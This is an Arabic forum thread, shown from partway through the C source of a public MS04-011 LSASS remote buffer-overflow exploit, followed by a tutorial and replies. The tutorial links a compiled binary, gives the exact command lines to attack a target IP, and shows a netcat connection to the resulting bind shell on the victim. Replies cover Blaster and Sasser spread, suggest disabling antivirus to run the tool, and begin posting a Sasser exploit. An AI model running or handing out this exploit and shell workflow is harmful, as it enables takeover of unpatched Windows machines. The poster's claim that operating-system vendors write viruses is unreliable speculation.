printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);


if (send(sockfd, req6, sizeof(req6)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memcpy(screq2k, req8, sizeof(req8)-1);
memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2);

memcpy(screq2k2, req9, sizeof(req9)-1);
memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1, (LEN+1)*2-4348);

memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3, sizeof(shit3)-1);

if (send(sockfd, screq2k, 4348, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, screq2k2, 4060, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}

} else {
memcpy(screq, req7, sizeof(req7)-1);
memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE);
memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16);

screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0;
if (send(sockfd, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0)== -1){
printf("[-] Send failed\n");
exit(1);
}
}
printf("OK\n");

len = recv(sockfd, recvbuf, 1600, 0);

return 0;
}

تابع الشرح ,,

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

ترجم البرنامج بإستخدام مترجم السي , وإذا كنت لاتملك مترجم سي قم بتحميل البرنامج النهائي من هذة الرابط

http://www.arabteam2000.com/files/Code/fil...01Atoolmmbb.zip

شرح الكود + شرح عمل أو مايقوم بة هذا البرنامج (سهولة إختراق اي جهاز )

تلاحظ بأن كود البرنامج عبارة عن أكثر من shellcode ,ولكن ليست كلها تنفيذية

مثلاً التعريف reverseshell وهو عبارة عن كود تنفيذي وضيفتة إعادة نوع وإصدار النظام الذي سينفذ بة الكود

التعريف bindshell هذا التعريف يمثل shellcode الأساسي وهو عبارة عن كود يقوم بفتح منفذ والإنصات

أما بقية التعاريف مثل reg1 و reg2 و reg3 و reg4 ,............هذة البيانات عبارة عن رسائل لبروتوكول SMB

لاحظ التعريف reg1 عبارة عن بيانات تمثل :

00 00 00 85 FF 53 4D 42 72 00 00 00 00 18 53 C8 ...…ےSMBr.... Sب
00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ..............ے‏
00 00 00 00 00 62 00 02 50 43 20 4E 45 54 57 4F .....b. PC NETWORK PROGRAM 1.0
52 4B 20 50 52 4F 47 52 41 4D 20 31 2E 30 00 02 ..RK PROGRAM 1.0.
4C 41 4E 4D 41 4E 31 2E 30 00 02 57 69 6E 64 6F .. LANMAN1.0. Windo
77 73 20 66 6F 72 20 57 6F 72 6B 67 72 6F 75 70 ..ws for Workgroup
73 20 33 2E 31 61 00 02 4C 4D 31 2E 32 58 30 30 ..s 3.1a. LM1.2X00
32 00 02 4C 41 4E 4D 41 4E 32 2E 31 00 02 4E 54 .. 2. LANMAN2.1. NT
20 4C 4D 20 30 2E 31 32 00 ..LM 0.12.

ولاحظ التعريف reg4 مثلاً

00 00 00 5C FF 53 4D 42 75 00 00 00 00 18 07 C8 ...\ےSMBu.... ب
00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ..............ے‏
00 08 30 00 04 FF 00 5C 00 08 00 01 00 31 00 00 . 0. ے.\. . .1..
5C 00 5C 00 31 00 39 00 32 00 2E 00 31 00 36 00 \.\.1.9.2...1.6.
38 00 2E 00 31 00 2E 00 32 00 31 00 30 00 5C 00 8...1...2.1.0.\.
49 00 50 00 43 00 24 00 00 00 3F 3F 3F 3F 3F I.P.C.$...?????

هذة الرسائل مشابهة للأمر التالي في الدوس

net use \\192.168.1.210\IPC$ ""?????""

وهكذا مع بقية الرسائل ,,,

-

بعد أن تترجم الكود , قم بتشغيل الدوس وتجول في الجهاز إلى أن تصل إلى برنامجنا OvFEx.exe

طريقة إستخدام برنامجنا هي كالتالي

C:\OvFEx.exe 0 192.168.1.10 4444 -t

البارمتر الأول : إما أن يكون 0 أو 1 أو 2 على حسب نوع النظام

0 : WinXP Professional    [universal] lsass.exe
1 : Win2k Professional    [universal] netrap.dll
2 : Win2k Advanced Server [SP4]       netrap.dll

البارمتر الثاني : رقم ip للجهاز المستهدف

البارمتر 3 وهو رقم المنفذ الذي سنقوم بفتحة للدخول إلى الجهاز

أما حرف ال t الأخير يكتب إذا كنا لانعرف إصدار ونوع النظام الذي نريد

الدخول لة , إذا كتبنا حرف t فإن shellcode الذي سينفذ هوreverseshell

وسيعيد لنا البرنامج نوع النظام المستهدف دون إختراقة أو فتح أي منفذ , بهذا الشكل

 C:\OvFEx.exe   0  192.168.1.10 4444 -t

MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
--- Coded by .::[ houseofdabus ]::. ---

* [*] Target: IP: 192.168.1.10: OS: WinXP Professional    [universal] lsass.exe
* [*] Connecting to 192.168.1.10:445 ... OK
* [*] Detecting remote OS: Windows 5.0

بعد أن نحصل على نوع النظام نقوم بإختراقة وفتح منفذ , بهذة الطريقة :

 C:\OvFEx.exe  1  192.168.1.10 4444

MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
--- Coded by .::[ houseofdabus ]::. ---

[*] Target: IP: 192.168.1.10: OS: Win2k Professional    [universal] netrap.dll
[*] Connecting to 192.168.1.10:445 ... OK
[*] Attacking ... OK

إذا ظهرت لك هذة الرسالة , معناة أن عملية الإختراق تمت بنجاح وتم تنفيذ shellcode وهو bindcode

والآن تعتبر نجحت في فتح منفذ جديد في الجهاز المستهدف ولكن كيف تستفيد منة ,

بكل بساطة بإستخدام أداة NetCat وإختصارها nc.exe تستطيع الدخول إلى الجهاز

بهذة الطريقة وهذة البساطة :

C:\nc 192.168.1.10 4444
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>
الآن تعتبر داخل الجهاز المستهدف نفذ ماتريد

كيف حدث هذا ؟؟!

في الحقيقة أن معرف bindcode الذي تراة في بداية شفرة البرنامج

يقوم بفتح منفذ والإنصات إلى أن يتم الإتصال بة من خلال الأداة NetCat

بمجرد الإتصال فإن كود bindcode يقوم بتشغيل برنامج دوس مخفي في جهاز الضحية

يربط برنامج دوس مع محث أوامر عن بعد مع أداة nc وبهذا فإنك تستطيع التحكم في الجهاز المستهدف

وكأنك بداخل النظام ,, تابع بقية الأمثلة إلى أن تصل الفكرة ؟

تستطيع تحميل برنامج NetCat والشفرة المصدرية للأداة لنظام وندوز من هنا :

http://www.arabteam2000.com/files/Code/fil...le00AtoolNC.zip

-

وبعد هذة الأمثلة الوهمية ,, إليك مثال حقيقي لإخترق جهاز ؟!!!

تابع الصور فهي تطبيق عملي على ماذكر من طرق إختراق ؟؟ فقط تتطلب رقم ip

الصورة1 عبارة عن عملية إختراق - مع تطبيق الثلاث خطوات :

BBBatch002.gif

قد لايصدق البعض أنك بداخل جهاز الضحية ؟؟!

والبعض الآخر يريد دليل على أن النظام الذي ظهر هو النظام المستهدف ؟ّ

مارأيك بصورة من داخل نظام لينكس , والنظام المستهدف وندوز طبعاً ,,

CCCunix003.gif

-

تابع ,,,,,,,,,,,,,,,,,,,,,

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

وبعد هذة الأمثلة وإلى الآن أنا متأكد من أن البعض لايعرف مامعنى ثغرة ؟ وكيف تستغل

ولذلك خصصت هذا القسم لكي نكتشف هذة الثغرة من جديد وكأننا لا نعلم بوجودها ؟!

شغل برنامج olly ومن قائمة file ثم Attach إختر البرنامج

DDDlsaa004.gif

بعد ذلك إضغط Attach وبعد أن تنتهي عملية فك التجميع

قم بإظهار الملفات المرتبطة مع البرنامج عن طريق الإختصار Alt+E

EEEdll005.gif

بعد ذلك توجة إلى العنوان 0x745936D8 وضع نقطة توقف

يجب أن تكون الدالة مشابهة للدالة التالية :

FFFun006.gif

بعد أن تضع نقطة التوقف , توجة إلى برنامج إستغلال الثغرة وحاول إختراق الجهاز أو دخول الثغرة

ستلاحظ أن olly أوقف التنفيذ عند هذة الدالة , تتبع الدالة (خطوة-خطوة بإستخدام F8 )

إلى أن تصل إلى الدالة التي حدث فيها الخطأ ولاحظ ماذا سيحدث

GGGover007.gif

وبالتأكيد فإن shellcode دخل إلى الجهاز وسينفذ , إذا أردت أن تعرف كيف

تتبع البرنامج , بعد دالة كتابة الملف ستجد تعليمة العودة ونقل التنفيذ ستنقلك إلى داخل shellcode

وبعد تنفيذ الكود ستجد دالة لإنهاء الثريد الحالي , لأن إكمال التنفيذ سيسبب مشكلة توقف النظام

أما في حالة ثغرات البرامج , فيمكنك العودة إلى العنوان الأصلي

--

وآخر نقطة : ستترك أثر لإختراق الجهاز وهو الملف النصي الذي تكتبة الدالة

في WINDOWS\Debug\DCPROMO.LOG إفتح الملف ولاحظ المحتوى

عبارة عن shellcode بمعنى ملف تنفيذي

إذا وجدت الملف النصي بهذا الشكل :

HHHtxt008.gif

معنى ذلك أن فايروس دخل جهازك من خلال الثغرة

وفي إحتمال آخر : أن أحد المتابعين للدرس طبق الأمثلة على جهازك :)

-

-

وفي نهاية الدرس , قد يلاحظ البعض أن الدرس متشعب وخاصة في الشبكات

في الحقيقة دراسة البروتوكولات والشبكات شيء مهم وخاصة في إستغلال الثغرات

ولذلك ذكرت هذة الأساسيات في بداية الدرس , وقد إخترت الكود المذكور لإستغلال الثغرة

لأنة يعرض لك وبطريقة تفصيلية كيف حدثت الثغرة ؟!! وهذا ما أريد إيصالة

بينما هنالك طرق بسيطة جداً , أستطيع إستبدالها في الكود السابق

ولكن طريقة عمل الثغرة ستكون غامضة , بالنسبة لك

خذ هذا المثال ؟؟ هل تعلم بأن نصف الكود السابق عبارة عن رسائل لبروتوكول SMB

وهي الرسائل reg1 ,reg2 , reg3.............

نصف الكود تماماً أستطيع إستبدالة بدالة واحدة من دوال API وسينفذ الكود كما هو

NETRESOURCE netResource; 

netResource.lpLocalName = NULL;
netResource.lpProvider = NULL;
netResource.dwType = RESOURCETYPE_ANY;
netResource.lpRemoteName=(char *)" \\127.0.0.1\ipc$";
WNetAddConnection2(&netResource, "", "", 0);

وهل تعلم أن النصف الآخر من الكود عبارة عن دالة واحدة فقط تستخدم لتحفيز خوادم DS

بهذا الشكل:

char buf[]="\x00\x00"
DsRoleUpgradeDownlevelServer((unsigned long)&shellcode[0], (unsigned long)&buf2[0],(unsigned long) &buf2[0],(unsigned long) &buf2[0],(unsigned long) &buf2[0],(unsigned long) &buf2[0],
(unsigned long)&buf2[0],(unsigned long) &buf2[0],(unsigned long) "ip address",(unsigned long) &buf2[0],(unsigned long) &buf2[0],(unsigned long) &buf2[0]);

هل رأيت الدالتين , تمثلان الكود كامل الذي إستخدمناة لإستغلال الثغرة وإختراق الجهاز

ولكن بدون أن نعلم أي شيء عن البروتوكول SMB وخدمات الدليل DS وبدون صداع الرأس

وقد يعتقد البعض أن إختيار الطريقة الأسهل لشرح الموضوع هي الأفضل ؟؟!!

في الحقيقة فكرت في الأمر وإحترت في طريقة شرح الموضوع إلى أن توصلت إلى

نتيجة وهي :

أن الشخص الذي إكتشف الثغرة لو كان يعرف كل دوال API بالتفصيل

ولم يكن يعلم أساسيات البروتوكول SMB وخدمات الدليل DS لما إستطاع إكتشاف وإستغلال الثغرة ؟!

-

وفي النهاية: صور معبرة وقد تكون مخجلة لمبرمجين مايكروسفت

هذة الصورة تمثل الدالة التي يحدث بها الخطأ , ( قبل )

oold009.gif

بعد أن قمت بإلتقاط هذة الصورة , توجهت لموقع مايكروسفت وبدأت عملية تحديث شامل للنظام

بعد عملية التحديث وسد الرقع , توجهت لنفس الدالة لكي أرى التغيرات ورأيت التالي:

nnew0010.gif

--

وبعلامة الإستفهام ننهي الجولة اليوم ,, وترقبوا بقية المواضيع إلى أن ننهي هذة السلسلة

ونأخذ فكرة , قد يكون من الصعب تقبلها وهي أن أجهزتنا مهما كانت فإنها متاحة لبعض الأشخاص

في الدرس القادم : ثغرات متصفح الإنترنت وطريقة إختراق الأجهزة

وبالتوفيق ,,,,,,,,,,,,,,

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

السلام عليكم

سلمت يمنك يا jaas بالفعل موضوع هو بدون منازع اقوى موضوع فى النتدى, واصل جزاك الله الف خير.

والسلام

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

السلام عليكم

مشكور أخي على هذا الموضوع الرائع والى الأمام

نزلت الملف التنفيذي للبرنامج OvFEx ولكن عند فك الضغط عن البرنامج لا يحدث شي علما أني استخدمت برنامج winzip

وعندما أذهب الى مكان فك ضغط الملف لا يوجد شي!!!

أرجوا المساعدة وشكرا

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

Sorry JAAS I'd like to ask you a simple question, from where have you learned all these stuff :rolleyes:

تم تعديل بواسطه طارق إبراهيم
0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

السلام عليكم

موضوع رائع وكنت ابحث عنه لكى احلل هذه الثغره ولكن حضرتك جبت المفيد :)

ولكن انا كنت ابحث عن كيفيه دخول فيرس بلاستر الى الاجهزه بمجرد الاتصال بالانترنت

ولكن لم اجد الحل .... هل هذه اسرار :) لا اعلم بحثت ولم اجد

=================

بعض الاسئله

1- reverseshell احتمال يوجد فيرووال اذا تم الوجود فبذلك لم يتم الرد من خلاله بمعنى

لن يتوصل الى اصدارات الويندز او universal

فما الحل لهذه المشكله ?!!

2-لماذا استخدم هذه البروتكولات مثل reg1 و reg2 و reg3 و reg4 هل ليسهل التعامل

مع امر netview

3 - أن الشخص الذي إكتشف الثغرة لو كان يعرف كل دوال API بالتفصيل

ولم يكن يعلم أساسيات البروتوكول SMB وخدمات الدليل DS لما إستطاع إكتشاف وإستغلال الثغرة ؟!

\

/

\

التعليق : عزيزى يوجد طرق عديده لمعرفه واكتشاف الثغرات عن طريق معرفه البورت للبرنامج

منها 1- عن طريق اداه النت كات بالاتصال ببورت البرنامج عندما تتصل بالبورت تعملsend

لاى رقم مثلا حرف الA باى مقدار وتضع البرنامج فى OLLY وانتظر النتائج :)

سترى الفيضان فى الداله المصابه

2- الطريقه الثانيه ببرنامج مصصم لهذه العمليات ولكن لا اذكره بالضبط

==================

4- طريقه لارغام فايروس بلاستر للظهور وهى :

اظغط ctrl+alt+del وبعد ذلك ستظهر قاءمت االملفات التى تعمل على السيستم

طبعا الlassa.exe ظاهر نظغط عليه كليك يمين

ملحوظه: يجب ان يكون لديك فيجوال سى بعد ذلك قم بعمل DEBUG للملف

قم بعمل كومبايل للملف بعد ذلك اغلق المحرر ستظهر رساله اغلاق الجهاز

وهذه العمليه تتم عند دخولك للانترنت ليتم تحميل الفايرس

==================

5- توجد داله فى الMIRC وهى GetVolumeInformation

معلومات عنها

http://msdn.microsoft.com/library/default....information.asp

اعتقد يوجد بها باراميتر مصاب

اعتقد ممكن ان يستغل كما فى ثغره الJPG التى يوجد بها براميتر مصاب ايضا وتم استغلال الثغره منها

6- وهذه ايضاGetVolumePathName

معلومات هنا http://msdn.microsoft.com/library/default....information.asp

يوجد بها براميتر مصاب بها ايضا الاول

==================

اخر سوال اخى عند محاولتى لفتح ملف الlassa.exe بال OLLY وجدت موجود بداخله

shutdown ومكتوب داله له لا اعلم هل الفايرس تم الكتابه بداخله لا اعلم

==================

اتمنى لك النصيحه لكى امشى فى الطريق الصحيح واسف على اسئلتى الكتيره ;)

اسف نسيت ملاحظه حينما عملت ابديت للجهاز وفتحت ملف الlassa.exe

وعندما عملت له كومبايلر لم يتم عملت تنفيذ للملف ولم اجد الرساله التى ظهرت

اسف على الاطاله

تم تعديل بواسطه bigboss1988
0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

الله يسلمك أخي ( احمد غريب )

نزلت الملف التنفيذي للبرنامج OvFEx ولكن عند فك الضغط عن البرنامج لا يحدث شي علما أني استخدمت برنامج winzip

أعتقد أنة لاتوجد مشكلة في الملف - جربت الملف قبل وضعة , وجربتة الآن

يمكن تكون المشكلة في جهازك

المهم , إذا ظهرت هذة المشكلة عند أي أحد آخر , أرجوا أن يخبرنا لكي نحل المشكلة

-

أخي طارق , أعتقد أني فهمت نصف السؤال ( تريد مصادر لهذة المواضيع - الثغرات)

هل تعرف أين تجد أفضل مصدر للمعلومات - موقع مايكروسفت , يعرض لك الثغرة

ويعرض لك طريقة الإصلاح أو الرقعة - وبعد ذلك تستخرج بقية المعلومات بالجهد الشخصي

والبحث والمراقبة بإستخدام olly

ولكن انا كنت ابحث عن كيفيه دخول فيرس بلاستر الى الاجهزه بمجرد الاتصال بالانترنت

ولكن لم اجد الحل .... هل هذه اسرار  لا اعلم بحثت ولم اجد

وبعد كل هذا الموضوع تسأل هذا السؤال ؟؟؟ بصراحة أحبطتني ؟!!

هل تعرف أن bindcode مأخوذ من نفس الفايروس الذي ذكرت

الإختلاف الوحيد أن الفايروس يفتح بورت رقم 5554 لكي يعمل ftp من خلال الدوس

وبعد ذلك يقوم بتنزيل برنامج بالإسم x.exe

أما عن طريقة إيجاد الثغرة ؟ بإختصار عن طريق مسح لعناوين ip للبحث عن المنفذ 445

طريقة مسح عناوين ip للفايروس المذكور هي :

10.x.x.x, 172.[16-31].x.x, 192.168.x.x, and 169.254.x.x

1- reverseshell احتمال يوجد فيرووال اذا تم الوجود فبذلك لم يتم الرد من خلاله بمعنى

لن يتوصل الى اصدارات الويندز او universal

فما الحل لهذه المشكله ?!!

هل تقصد أن الكود reverseshell عبارة عن إرسال وإستقبال وفتح بورت

ولذلك فإن الفيرويل سيمنع الكود من الإتصال ؟؟!! لأن reverseshell و bindcode لهما نفس الوظائف , وإذا لم يعمل أحدهما فإن الآخر سيعمل

مانوع الفيرويل ؟! لأني لا أجد أي تدخل من الفيرويل بين رسائل smb وبين الخادم ds

أما إذا كان قصدك زون الارم فلا أعتقد أنة مشكلة

2-لماذا استخدم هذه البروتكولات مثل reg1 و reg2 و reg3 و reg4 هل ليسهل التعامل

مع امر netview

لا طبعا , الهدف لكي يعرض لك مكان ووقت حدوث الثغرة بالتفصيل (ذكرت هذة النقطة في آخر الموضوع )

وألف شكر على بقية المعلومات

-

وبالتوفيق للجميع

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

للمعلومية فقط , النورتون أو أي مكافح فيروسات يقبض على الملف المضغوط الذي وضحه جاس بقوله :

ترجم البرنامج بإستخدام مترجم السي , وإذا كنت لاتملك مترجم سي قم بتحميل البرنامج النهائي من هذة الرابط

http://www.arabteam2000.com/files/Code/fil...01Atoolmmbb.zip

على أنه Exploit , بالتحديد بإسم bloodhound.exploit , ولمتابعة الدرس لمن يريد يمكن إيقاف عمل مكافح الفيروسات ليستطيع تشغيله ليحاكي المطلوب :D

لكن لماذا يمنع مكافح الفيروسات تشغيل مثل هذا الكود وهو هجومي فقط ؟

الوضع تماما كما يمنع النورتون برامج كال subseven وهي هجومية ولاتؤثر في حال كان الملف التنفيذي لنفس البرنامج , "ليس بريمج التلصص" غير مصاب بأي نوع آخر "باب النجار مخلع !!"

====================

وبالنسبة لجدران النار فالمفترض أن تصد أي مصدر بيانات خارجي داخل للجهاز , في حال كنت الضحية ولدي جدار ناري , فسيمنع الجدار الناري إستقبال بيانات الجهاز البعيد القادمة بدون إذن مني .

===

بعد أن قمت بإلتقاط هذة الصورة , توجهت لموقع مايكروسفت وبدأت عملية تحديث شامل للنظام

الرقعة الأمنية نفس رقعة sasser , ولمن يملك SP1 في وندوز XP سيكون بعيدا عن الخطر بحول الله , لكن من الأفضل أن يتم تثبيت SP2 لضمان أمني أكبر من أي أخطار حدثت في الفترة بين SP1 و SP2 .

===============

الموضوع فعلا الأفضل على الإطلاق :) , ويحتاج لقراءة أكثر قبل البدأ في الأسئلة .

وكنت سابقا كما الأخ bigboss1988 أبحث عن تفاصيل الموضوع وإقتنعت بكلام جاس أخيرا أن عليك البحث بنفسك في هذه الأمور , لأن وجودها بتفصيل ممل كما وضحه جاس لن تجده تحت كل حجر , " أنا شخصيا بحث في أماكن كثيرة جدا , لم أجد واحد من عشرة من شرح جاس للموضوع وفي كل المواقع العربية والأجنبية "

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

معلومات حول الثغرة :

http://securityresponse.symantec.com/avcen....exploit.8.html

وكما فهمت أن ال firewall لايصد هذه الهجمة على المنفذ 445 أو 139 بنفسه , لأنها منافذ لنظام تشغيل ومنافذ الخدمات يرسل منها وإليها كما يريد ! لذا يجب إغلاق المنفذين 139 و 445 يدويا من جدار النار .

أو عمل تحديث لجدار النار من الموقع سيفي بالغرض حتما .

أذكر أن ثغرة ساسر كانت أحينا تتسبب في مقتل خدمة IpSec والمشكلة أن خدمة Ipsec لايمكن عمل disable لها ! لذا كان الجهاز يغلق فورا ولايمكن حل المشكلة بسهولة حل ثغرة Blaster حيث كان يمكن إغلاق خدمة ال RPC فقط في حالة Blaster ولامشكلة بعد ذلك .

من موقع مايكروسوفت :

http://www.microsoft.com/technet/security/...n/MS04-011.mspx

http://www.cve.mitre.org/cgi-bin/cvename.c...e=CAN-2003-0533

===============

لم أقرأ كود السي++ بعد وفيه بعض الأمور تحتاج لتركيز لفهم الكود جيدا , وسنعود لها لاحقا .

تم تعديل بواسطه HGB
0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

السلام عليكم

وبعد كل هذا الموضوع تسأل هذا السؤال ؟؟؟ بصراحة أحبطتني ؟!!

\

/

\

يا اخى ما عاش الى يحبطك :D ولكن واضح ان سوالى مااتفهم هاعيده تانى بشكل تانى

السوال: كيف مصمم الفايرس بتركه على الشبكه العنكبوتيه بحيث ان جهاز الضحه

حينما يتصل بالنت يتم تنفيذ الفايرس :::: تنفيذ الفايرس عرفنها:::: ولكن هنا السوال

كيف وضعه فى الشبكه العنكبوتيه ::: بصيغه ثانيه " فايرس الحب تم التنقل بين الاميل

لكى يقتحم الجهاز ولكن بلاستر استخدم طريقه ثانيه لا اعلم ما هيه وهيه ديه النا باسئل

عليها :)

===============

وبالنسبة لجدران النار فالمفترض أن تصد أي مصدر بيانات خارجي داخل للجهاز , في حال كنت الضحية ولدي جدار ناري , فسيمنع الجدار الناري إستقبال بيانات الجهاز البعيد القادمة بدون إذن مني

\

/

\

وكما فهمت أن ال firewall لايصد هذه الهجمة على المنفذ 445 أو 139 بنفسه , لأنها منافذ لنظام تشغيل ومنافذ الخدمات يرسل منها وإليها كما يريد ! لذا يجب إغلاق المنفذين 139 و 445 يدويا من جدار النار .

أو عمل تحديث لجدار النار من الموقع سيفي بالغرض حتما .

\

/

\

ساقوم البحث فى هذا الموضوع اعتقد اننى رايت موضوع عن تخطى ال IDS

وكان بارفاق ال0x90 و الnull 0x00 فاعتقد ان الفيروول او الزون الرم او البلاك ايسر

اينا كانت البرامج اعتقد انها لاتكشف الOPCODE او الشيل كود

هذا ما عندى والله اعلـــــــــــــم

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

الأخ compsciom

المشلكة عندك فى برنامج الحماية من الفيروسات حيث أن هذا البرنامج عبارة عن فيروس من نوع Expolit فلهذا يقوم برنامج مضاد الفيروسات بألغائة

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

فعلاً أخي (HGB ) لم أنتبة لموضوع الأنتي فايروس وأنة سيحذف الملف ؟!!

شيء غريب,, ويش خصة ؟!

بصراحة هذا أحد الأسباب الذي يدعني لا أستخدم برامج الحماية ( وهي حذف الملفات )

برضاك أو عدم رضاك

-

فهمت أن ال firewall لايصد هذه الهجمة على المنفذ 445 أو 139 بنفسه

أنا توقعت هذا الشيء لأن المنفذ 139 خاص بالنت بويس وبالتحديد لمشاركة الملفات

والمنفذ 445 خاص بال DS وبالتحديد لمشاركة الملفات أو تحديد الملفات المشتركة

وهنا تستغرب ؟ كيف سيراقب (جدار النار ) المعلومات المتبادلة بواسطة المنفذين أو كيف سيمنعها , وبأي طريقة ؟!

لم أقرأ كود السي++ بعد وفيه بعض الأمور تحتاج لتركيز لفهم الكود جيدا , وسنعود لها لاحقا

كل مافي الكود هو إرسال بيانات send وأغلب الكود ترتيب لهذة البيانات.

-

أعذرني أخي الكريم ( bigboss1988 )

على الفهم الثقيل ؟!

المهم :

السوال: كيف مصمم الفايرس بتركه على الشبكه العنكبوتيه بحيث ان جهاز الضحه

حينما يتصل بالنت يتم تنفيذ الفايرس :::: تنفيذ الفايرس عرفنها:::: ولكن هنا السوال

كيف وضعه فى الشبكه العنكبوتيه ::: بصيغه ثانيه " فايرس الحب تم التنقل بين الاميل

لكى يقتحم الجهاز ولكن بلاستر استخدم طريقه ثانيه لا اعلم ما هيه وهيه ديه النا باسئل

تصدق حدثت لي قصة غريبة , قد تجاوب عن هذا السؤال

مرة كنت اراقب هذة الثغرة لكي أقوم ببعض التجارب عليها , بهذا الترتيب

أدخل الثغرة في olly أذهب إلى برنامج وأحاول إختراق الجهاز - يقوم olly بإقاف البرنامج وبعد ذلك أتتبعة . بهذة الطريقة

وفي مرة , أدخلت الثغرة في olly وبعد ذلك توجهت للدوس لكي أحوال إخترق الجهاز

وقبل , لاحظ , قبل ما ألمس الكيبورد أجد برنامج olly يعطيني إشارة من أن الثغرة نفذت؟!

طبعاً إستغربت , توجهة مباشرة لشاشة الديسمبلي لأجد المفاجأة ,

فايروس حقيقي يريد الدخول إلى الجهاز ؟! بصراحة لم أكن أحلم بهذة الفرصة

أن أقوم بمراقبة فايروس من الألف إلى الياء

المهم أني وجدت ال shellcode يفتح إتصال من جهاز آخر برقم ip يبدأ ب 188

بالتأكيد تستغرب أن يتصل الفايروس بهذا الجهاز وبهذة البساطة والعلانية ؟! لماذا لايكشف

مصدر هذة الفايروسات , أنا أعتقد أنة موضوع كبير ؟!

أولاً رقم ip وهمي وقد يكون محمي ؟! (يعني بالعقل لا يستطيع إمتلاكة مبرمج هاوي )

عرفت أنة وهمي , لأن برامج المسح على المنافذ , تظهر النتائج بأن هذا ip غير موجود

-

وأعتقد من سرعة إنتشار الفايروس , أنة يوجد مئات الأجهزة تقوم بنشر هذا الفايروس

وهي عبارة عن سيرفرات (مثل سيرفرات المواقع ) تعمل 24 ساعة عن رصد التحركات

على الشبكة وأرقام ip النشطة , مثل الخدمة التي تقدمه netcraft.com للشبكات

والدليل ؟ أني في نهاية مراقبة الفايروس , أحبطت عملية الدخول وفصلت الإنترنت

كي يتغير رقم ip وبعد ذلك دخلت وبعد مرور 5 ثواني , لاحظ 5 ثواني أجد الإتصال مع

ذلك الخادم يعود , وعرفت أنة تم جدولة لمجال عنوان ip الخاص بي ولو قمت بأي عمل فإن الإتصال سيعود , إلى أن قمت بتحميل الفايروس طبعا , ولاحظ اللغز

لم يعد أي إتصال مع أي جهاز آخر + ولم يحاول الفايروس الدخول مرة أخرى

كيف عرف بأن جهازي مصاب , ولم يخطأ ويدخل أكثر من فايروس من نفس النوع ؟!

وفي النهاية مصدر هذة الفايروسات شركات أو منظمات كبيرة

البعض يقول شركات الأمن لتسويق منتجاتها

البعض يقول شركات الأنظمة - لكي تعيب النظام الآخر وتسقط شعبيتة -

البعض يقول هواة يحبون المغامرة والتحدي

-

وأنا عن نفس أرجح المصدر الثاني ( تنافس الأنظمة ) لأني لم أجد نظام لايحتوي على ثغرات , ولأن ثغرات الأنظمة لها مواسم :) بمعنى كل نظام لة فترة محددة يعلن عن ظهور ثغرات جديدة

سنناقشها في نهاية المواضيع

-

وبالتوفيق ,,

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

السلام عليكم

شكرا لتوضيحك يا اخ jaas

بالنسبه لتحليل الفيروسات يوجد لدى كتاب يحلل فيرس bagle

شكرا لى Br0k3N-L!Nk و B-Hunter لوضعهم للكتاب

اتفضل اخوى

http://s4a.cc/members/bagle_analysis_v.1.0.pdf مفيد جدا ;)

لو بحوزتك يا اخى jaas مثل هذه الكتب فى تحليل الفايرس يا ريت توضعها

====================

لو سمحت اخ jaas ,HGP بتحليل كود الثغره ليتم تحليلها كامله مكمله وان شاء الله

ساضع كود فايرس ساسر ليس كود الفايرس بل الكود الذى دخل بيه الى الاجهزه

سوال اخ jaas

هل ستتم باذن الله بشرح ثغره الJEPG التى كانت فى ملف GDIPLUS.dll

انا من راى يا ريت لانها ايضا يوجد بها بعض الtricks والاسئله التى تدور فى ذهنى

اتمنى ان اكون ما عزعجتك

والله اعلـــــــــــــم

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

شكراً على الكتاب , وسؤحاول أن أبحث لك في جهازي عن كتب مشابهة

ساضع كود فايرس ساسر ليس كود الفايرس بل الكود الذى دخل بيه الى الاجهزه

في الإنتظار , لكي نبدأ بتشريحة ؟! لمعرفة أي طريقة جديدة إستخدمها

ستتم باذن الله بشرح ثغره الJEPG التى كانت فى ملف GDIPLUS.dll

توجد أنواع كثيرة لثغرات Windows JPEG GDI+ وهي بسيطة (بمعنى أسهل من ثغرة ساسر بكثير )

وإذا أراد الأعضاء موضوع تفصيلي عنها , سؤحاول كتابتة

وبالتوفيق ,,

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

السلام عليكم

كود فايرس ساسر بس اعتقد ان هذا الفايرس نزل له اصدارات كتيره على العموم هذا

ما لدى...

sasser v[a-e] exploit (of its ftpd server)

exploit version 1.3, not private anymore

author: mandragore
date: Tue May 4 13:32:38 2004
vuln type: SEH ptr overwriting
